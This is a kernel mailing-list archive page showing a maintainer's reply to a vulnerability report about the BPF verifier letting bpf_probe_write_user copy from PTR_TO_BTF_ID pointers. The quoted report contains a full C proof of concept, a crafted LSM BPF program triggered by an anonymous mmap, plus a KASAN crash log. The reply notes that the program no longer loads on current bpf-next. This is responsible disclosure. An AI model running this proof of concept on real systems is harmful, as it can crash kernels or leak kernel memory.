public inbox for bpf@vger.kernel.org
 help / color / mirror / Atom feed
From: KaFai Wan <kafai.wan@linux.dev>
To: Quan Sun <2022090917019@std.uestc.edu.cn>,
	daniel@iogearbox.net,  bpf@vger.kernel.org
Cc: dddddd@hust.edu.cn, M202472210@hust.edu.cn, dzm91@hust.edu.cn,
	 hust-os-kernel-patches@googlegroups.com, ast@kernel.org,
	andrii@kernel.org, jiayuan.chen@linux.dev
Subject: Re: Out-of-Bounds Read / Null-Pointer Dereference in bpf_probe_write_user via PTR_TO_BTF_ID
Date: Wed, 22 Apr 2026 21:14:10 +0800	[thread overview]
Message-ID: <c362a2f1b2752c1588d682ab54389da132c1d105.camel@linux.dev> (raw)
In-Reply-To: <2586af4d-eb02-4406-8535-3078515aa56a@std.uestc.edu.cn>

On Tue, 2026-04-21 at 22:48 +0800, Quan Sun wrote:
> Our fuzzing found an Out-of-Bounds Read / Null-Pointer Dereference 
> vulnerability in the Linux kernel BPF subsystem. The issue is triggered 
> when a `BPF_PROG_TYPE_LSM` program calls the `bpf_probe_write_user` 
> helper with a `PTR_TO_BTF_ID` (such as `struct file *`) as the source 
> argument. The verifier incorrectly allows this pointer type, causing the 
> kernel to treat it as a valid source memory buffer and dereference it 
> during the memory copy, potentially leaking kernel memory to user space 
> or causing a crash.
> 
> Reported-by: Quan Sun <2022090917019@std.uestc.edu.cn>
> Reported-by: Yinhao Hu <dddddd@hust.edu.cn>
> Reported-by: Kaiyan Mei <M202472210@hust.edu.cn>
> Reviewed-by: Dongliang Mu <dzm91@hust.edu.cn>
> 
> ## Root Cause
> 
> This vulnerability is caused by an over-permissive type check in the 
> eBPF verifier regarding the `bpf_probe_write_user` helper.
> 
> 1. A program is loaded as `BPF_PROG_TYPE_LSM` and attached via BTF to a 
> security hook, such as `bpf_lsm_mmap_file`. The arguments provided by 
> the context to this hook (e.g., `struct file *`) are marked by the 
> verifier as `PTR_TO_BTF_ID | PTR_TRUSTED`.
> 2. The BPF program invokes the `bpf_probe_write_user(dst, src, len)` 
> helper. This helper is intended to write data from a BPF space buffer 
> (`src`) to a user space address (`dst`). The expected type for `src` is 
> `ARG_PTR_TO_MEM | MEM_RDONLY`.
> 3. In `kernel/bpf/verifier.c`, the compatible register types for 
> `ARG_PTR_TO_MEM` incorrectly include `PTR_TO_BTF_ID`. While this is safe 
> for helpers that only read data internally within the kernel, 
> `bpf_probe_write_user` specifically exports this data to user space.
> 4. The BPF program passes the trusted kernel pointer directly to 
> `bpf_probe_write_user`.
> 5. The helper proceeds to call `copy_to_user_nofault`, copying the raw 
> kernel memory directly to the user-provided `dst` address.
> 6. If the pointer passed to the hook is `NULL` (which happens in 
> `security_mmap_file` when mapping anonymous memory) and an offset is 
> applied to bypass the verifier's struct size bounds check, 
> `copy_to_user_nofault` attempts to read from a near-NULL invalid address 
> (e.g., `0x48`), resulting in a Null-Pointer Dereference and a KASAN 
> crash. Even with a valid pointer, this allows arbitrary kernel 
> structures to be leaked to user space.
> 
> #### Execution Flow Visualization
> 
> ```text
> Vulnerability Execution Flow
> > 
> > --- 1. `bpf(BPF_PROG_LOAD, ...)` loads LSM program
> >    |
> >    `-- Program type: `BPF_PROG_TYPE_LSM`
> >        Calls `bpf_probe_write_user(user_dst, kernel_ptr, len)`
> > 
> > --- 2. Program attachment via BTF
> >    |
> >    `-- Attach to target function: `bpf_lsm_mmap_file`
> > 
> > --- 3. User triggers `mmap()` (anonymous mapping)
> >    |
> >    `-- `ksys_mmap_pgoff` -> `vm_mmap_pgoff` -> `security_mmap_file`
> >        |
> >        |-- Calls the BPF LSM hook, passing `file` pointer (which is 
> NULL for anon mmap)
> > 
> > --- 4. BPF LSM program executes
> >    |
> >    `-- Program invokes `bpf_probe_write_user(user_buf, file + 72, 8)`
> > 
> > --- 5. `bpf_probe_write_user` executes
> >    |
> >    `-- Calls `copy_to_user_nofault(user_buf, NULL + 72, 8)`
> >        |
> >        `-> KASAN detects invalid access at address 0x48 -> Crash!
> ```
> 
> ## Reproduction Steps
> 
> 1. Load an LSM BPF program that:
>     - Takes a pointer argument from the context (e.g., `struct file *`).
>     - Applies an offset to this pointer to bypass the verifier's struct 
> boundary checks.
>     - Calls `bpf_probe_write_user` using the manipulated kernel pointer 
> as the `src` argument.
> 2. Attach the program to the valid BTF function id for 
> `bpf_lsm_mmap_file` obtained from the kernel image.
> 3. Trigger the hook from user space by calling anonymous `mmap()`, which 
> causes the kernel to pass a `NULL` file pointer to the LSM hook.
> 4. The execution of the helper will attempt to read from the 
> out-of-bounds/NULL offset, causing the kernel to crash and triggering KASAN.
> 
> ## KASAN Report
> 
> ```text
> [  222.421612][ T9884] 
> ==================================================================
> [  222.422598][ T9884] BUG: KASAN: null-ptr-deref in 
> copy_to_user_nofault+0x13a/0x1d0
> [  222.423552][ T9884] Read of size 8 at addr 0000000000000048 by task 
> poc/9884
> [  222.424433][ T9884]
> [  222.424735][ T9884] CPU: 0 UID: 0 PID: 9884 Comm: poc Not tainted 
> 7.0.0-rc5-g6f6c794d0ff0 #5 PREEMPT(f
> [  222.424755][ T9884] Hardware name: QEMU Standard PC (i440FX + PIIX, 
> 1996), BIOS 1.15.0-1 04/01/2014
> [  222.424765][ T9884] Call Trace:
> [  222.424771][ T9884]  <TASK>
> [  222.424777][ T9884]  dump_stack_lvl+0x116/0x1b0
> [  222.424804][ T9884]  ? copy_to_user_nofault+0x13a/0x1d0
> [  222.424822][ T9884]  kasan_report+0xca/0x100
> [  222.424850][ T9884]  ? copy_to_user_nofault+0x13a/0x1d0
> [  222.424872][ T9884]  kasan_check_range+0x39/0x1c0
> [  222.424891][ T9884]  copy_to_user_nofault+0x13a/0x1d0
> [  222.424911][ T9884]  bpf_probe_write_user+0xaf/0xf0
> [  222.424931][ T9884]  bpf_prog_b58fbe7e0c2ee32e+0x2f/0x38
> [  222.424948][ T9884]  bpf_trampoline_6442657058+0x64/0x10d
> [  222.424965][ T9884]  security_mmap_file+0x8b1/0x9f0
> [  222.424985][ T9884]  vm_mmap_pgoff+0xd9/0x460
> [  222.425011][ T9884]  ? __pfx_vm_mmap_pgoff+0x10/0x10
> [  222.425034][ T9884]  ? __pfx_vfs_write+0x10/0x10
> [  222.425064][ T9884]  ksys_mmap_pgoff+0xde/0x640
> [  222.425091][ T9884]  ? __pfx_ksys_mmap_pgoff+0x10/0x10
> [  222.425116][ T9884]  ? ksys_write+0x1a8/0x240
> [  222.425131][ T9884]  ? __pfx_ksys_write+0x10/0x10
> [  222.425148][ T9884]  __x64_sys_mmap+0x12c/0x190
> [  222.425177][ T9884]  do_syscall_64+0x11b/0xf80
> [  222.425205][ T9884]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
> [  222.425223][ T9884] RIP: 0033:0x7f996ace8963
> [  222.425236][ T9884] Code: ef e8 d1 b4 ff ff eb e7 e8 4a 68 01 00 66 
> 2e 0f 1f 84 00 00 00 00 00 41 89 c7
> [  222.425252][ T9884] RSP: 002b:00007ffd372e3678 EFLAGS: 00000246 
> ORIG_RAX: 0000000000000009
> [  222.425269][ T9884] RAX: ffffffffffffffda RBX: 00007ffd372f3918 RCX: 
> 00007f996ace8963
> [  222.425281][ T9884] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 
> 0000000000000000
> [  222.425291][ T9884] RBP: 00007ffd372f37f0 R08: 00000000ffffffff R09: 
> 0000000000000000
> [  222.425301][ T9884] R10: 0000000000000022 R11: 0000000000000246 R12: 
> 0000000000000000
> [  222.425311][ T9884] R13: 00007ffd372f3928 R14: 0000556343783dd8 R15: 
> 00007f996ae08020
> [  222.425332][ T9884]  </TASK>
> [  222.425338][ T9884] 
> ==================================================================
> [  222.449121][ T9884] Kernel panic - not syncing: KASAN: panic_on_warn 
> set ...
> [  222.449739][ T9884] CPU: 0 UID: 0 PID: 9884 Comm: poc Not tainted 
> 7.0.0-rc5-g6f6c794d0ff0 #5 PREEMPT(f
> [  222.450576][ T9884] Hardware name: QEMU Standard PC (i440FX + PIIX, 
> 1996), BIOS 1.15.0-1 04/01/2014
> [  222.451633][ T9884] Call Trace:
> [  222.452048][ T9884]  <TASK>
> [  222.452419][ T9884]  dump_stack_lvl+0x3d/0x1b0
> [  222.452993][ T9884]  vpanic+0x7f7/0xa80
> [  222.453496][ T9884]  ? __pfx_vpanic+0x10/0x10
> [  222.454058][ T9884]  panic+0xc7/0xd0
> [  222.454521][ T9884]  ? __pfx_panic+0x10/0x10
> [  222.455078][ T9884]  ? preempt_schedule_common+0x44/0xb0
> [  222.455742][ T9884]  ? copy_to_user_nofault+0x13a/0x1d0
> [  222.456399][ T9884]  ? preempt_schedule_thunk+0x16/0x30
> [  222.457056][ T9884]  ? check_panic_on_warn+0x24/0xc0
> [  222.457672][ T9884]  ? copy_to_user_nofault+0x13a/0x1d0
> [  222.458329][ T9884]  check_panic_on_warn+0xb6/0xc0
> [  222.458934][ T9884]  ? copy_to_user_nofault+0x13a/0x1d0
> [  222.459473][ T9884]  end_report+0x142/0x190
> [  222.460003][ T9884]  ? copy_to_user_nofault+0x13a/0x1d0
> [  222.460668][ T9884]  kasan_report+0xd8/0x100
> [  222.461236][ T9884]  ? copy_to_user_nofault+0x13a/0x1d0
> [  222.461909][ T9884]  kasan_check_range+0x39/0x1c0
> [  222.462484][ T9884]  copy_to_user_nofault+0x13a/0x1d0
> [  222.463125][ T9884]  bpf_probe_write_user+0xaf/0xf0
> [  222.463733][ T9884]  bpf_prog_b58fbe7e0c2ee32e+0x2f/0x38
> [  222.464405][ T9884]  bpf_trampoline_6442657058+0x64/0x10d
> [  222.465076][ T9884]  security_mmap_file+0x8b1/0x9f0
> [  222.465693][ T9884]  vm_mmap_pgoff+0xd9/0x460
> [  222.466279][ T9884]  ? __pfx_vm_mmap_pgoff+0x10/0x10
> [  222.466910][ T9884]  ? __pfx_vfs_write+0x10/0x10
> [  222.467519][ T9884]  ksys_mmap_pgoff+0xde/0x640
> [  222.468103][ T9884]  ? __pfx_ksys_mmap_pgoff+0x10/0x10
> [  222.468754][ T9884]  ? ksys_write+0x1a8/0x240
> [  222.469323][ T9884]  ? __pfx_ksys_write+0x10/0x10
> [  222.469926][ T9884]  __x64_sys_mmap+0x12c/0x190
> [  222.470530][ T9884]  do_syscall_64+0x11b/0xf80
> [  222.471120][ T9884]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
> [  222.471855][ T9884] RIP: 0033:0x7f996ace8963
> [  222.472382][ T9884] Code: ef e8 d1 b4 ff ff eb e7 e8 4a 68 01 00 66 
> 2e 0f 1f 84 00 00 00 00 00 41 89 c7
> [  222.474703][ T9884] RSP: 002b:00007ffd372e3678 EFLAGS: 00000246 
> ORIG_RAX: 0000000000000009
> [  222.475716][ T9884] RAX: ffffffffffffffda RBX: 00007ffd372f3918 RCX: 
> 00007f996ace8963
> [  222.476651][ T9884] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 
> 0000000000000000
> [  222.477602][ T9884] RBP: 00007ffd372f37f0 R08: 00000000ffffffff R09: 
> 0000000000000000
> [  222.478555][ T9884] R10: 0000000000000022 R11: 0000000000000246 R12: 
> 0000000000000000
> [  222.479487][ T9884] R13: 00007ffd372f3928 R14: 0000556343783dd8 R15: 
> 00007f996ae08020
> [  222.480452][ T9884]  </TASK>
> [  222.480897][ T9884] Kernel Offset: disabled
> [  222.481434][ T9884] Rebooting in 86400 seconds..
> ```
> 
> ## Proof of Concept
> 
> The following C program demonstrates the vulnerability on the latest 
> bpf-next (commit 6f6c794d0ff05dab1fa4677f39043de8a6a80da3):
> 
> ### How BTF_ID is obtained
> 
> To find the BTF ID for `bpf_lsm_mmap_file`, you can use `bpftool`:
> 
> ```bash
> bpftool btf dump file /path/to/vmlinux | grep "FUNC 'bpf_lsm_mmap_file'"
> ```
> 
> Example output:
> ```text
> [XXXXX] FUNC 'bpf_lsm_mmap_file' type_id=YYYYY linkage=static
> ```
> 
> ```c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <stdint.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <sys/syscall.h>
> #include <sys/mman.h>
> #include <string.h>
> #include <linux/bpf.h>
> 
> #define BTF_ID_MMAP_FILE 206275 // bpf_lsm_mmap_file
> 
> void execute_one() {
>      struct bpf_insn insns[] = {
>          { 0xbf, 6, 1, 0, 0 },         // R6 = R1 (ctx)
>          { 0x79, 2, 6, 0, 0 },         // R2 = *(u64*)(R6 + 0)
>          { 0x07, 2, 0, 0, 72 },        // R2 += 72 (f_op offset)
>          { 0x18, 1, 0, 0, 0x20000000 },
>          { 0x00, 0, 0, 0, 0x00000000 },
>          { 0xb7, 3, 0, 0, 8 },
>          { 0x85, 0, 0, 0, 36 },         // call bpf_probe_write_user
>          { 0xb7, 0, 0, 0, 0 },
>          { 0x95, 0, 0, 0, 0 }
>      };
> 
The insns failed to load with the latest bpf-next tree, may fix in commit 
94e948b7e684 ("bpf: annotate file argument as __nullable in bpf_lsm_mmap_file").

>      char log_buf[65536];
>      union bpf_attr attr;
>      memset(&attr, 0, sizeof(attr));
>      attr.prog_type = 29;
>      attr.insns = (uint64_t)insns;
>      attr.insn_cnt = sizeof(insns) / sizeof(struct bpf_insn);
>      attr.license = (uint64_t)"GPL";
>      attr.expected_attach_type = 27;
>      attr.attach_btf_id = BTF_ID_MMAP_FILE;
>      attr.log_buf = (uint64_t)log_buf;
>      attr.log_size = sizeof(log_buf);
>      attr.log_level = 2;
> 
>      int prog_fd = syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
>      if (prog_fd < 0) {
>          perror("BPF_PROG_LOAD");
>          printf("Log: %s\n", log_buf);
>          return;
>      }
>      printf("Prog loaded: %d\n", prog_fd);
> 
>      union bpf_attr link_attr;
>      memset(&link_attr, 0, sizeof(link_attr));
>      link_attr.link_create.prog_fd = prog_fd;
>      link_attr.link_create.attach_type = 27;
>      int link_fd = syscall(__NR_bpf, BPF_LINK_CREATE, &link_attr, 
> sizeof(link_attr));
>      if (link_fd < 0) {
>          perror("BPF_LINK_CREATE");
>          return;
>      }
>      printf("Link created: %d\n", link_fd);
> 
>      mmap(NULL, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
> }
> 
> int main() {
>      mmap((void *)0x20000000, 0x1000, PROT_READ | PROT_WRITE, 
> MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
>      execute_one();
>      return 0;
> }
> ```
> ## Kernel Configuration Requirements for Reproduction
> 
> The vulnerability can be triggered with the kernel config in the attachment.

-- 
Thanks,
KaFai

      reply	other threads:[~2026-04-22 13:15 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-04-21 14:48 Out-of-Bounds Read / Null-Pointer Dereference in bpf_probe_write_user via PTR_TO_BTF_ID Quan Sun
2026-04-22 13:14 ` KaFai Wan [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=c362a2f1b2752c1588d682ab54389da132c1d105.camel@linux.dev \
    --to=kafai.wan@linux.dev \
    --cc=2022090917019@std.uestc.edu.cn \
    --cc=M202472210@hust.edu.cn \
    --cc=andrii@kernel.org \
    --cc=ast@kernel.org \
    --cc=bpf@vger.kernel.org \
    --cc=daniel@iogearbox.net \
    --cc=dddddd@hust.edu.cn \
    --cc=dzm91@hust.edu.cn \
    --cc=hust-os-kernel-patches@googlegroups.com \
    --cc=jiayuan.chen@linux.dev \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox